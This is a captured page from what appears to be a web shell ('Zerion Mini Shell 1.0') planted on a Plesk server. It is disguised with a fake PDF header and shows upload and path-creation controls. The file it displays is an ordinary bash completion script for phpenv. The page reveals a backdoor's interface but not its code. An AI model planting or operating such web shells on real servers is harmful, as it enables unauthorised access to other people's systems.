%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/phpenv/completions/
Upload File :
Create Path :
Current File : //opt/plesk/phpenv/completions/phpenv.bash

_phpenv() {
  COMPREPLY=()
  local word="${COMP_WORDS[COMP_CWORD]}"

  if [ "$COMP_CWORD" -eq 1 ]; then
    COMPREPLY=( $(compgen -W "$(phpenv commands)" -- "$word") )
  else
    local words=("${COMP_WORDS[@]}")
    unset words[0]
    unset words[$COMP_CWORD]
    local completions=$(phpenv completions "${words[@]}")
    COMPREPLY=( $(compgen -W "$completions" -- "$word") )
  fi
}

complete -F _phpenv phpenv

Zerion Mini Shell 1.0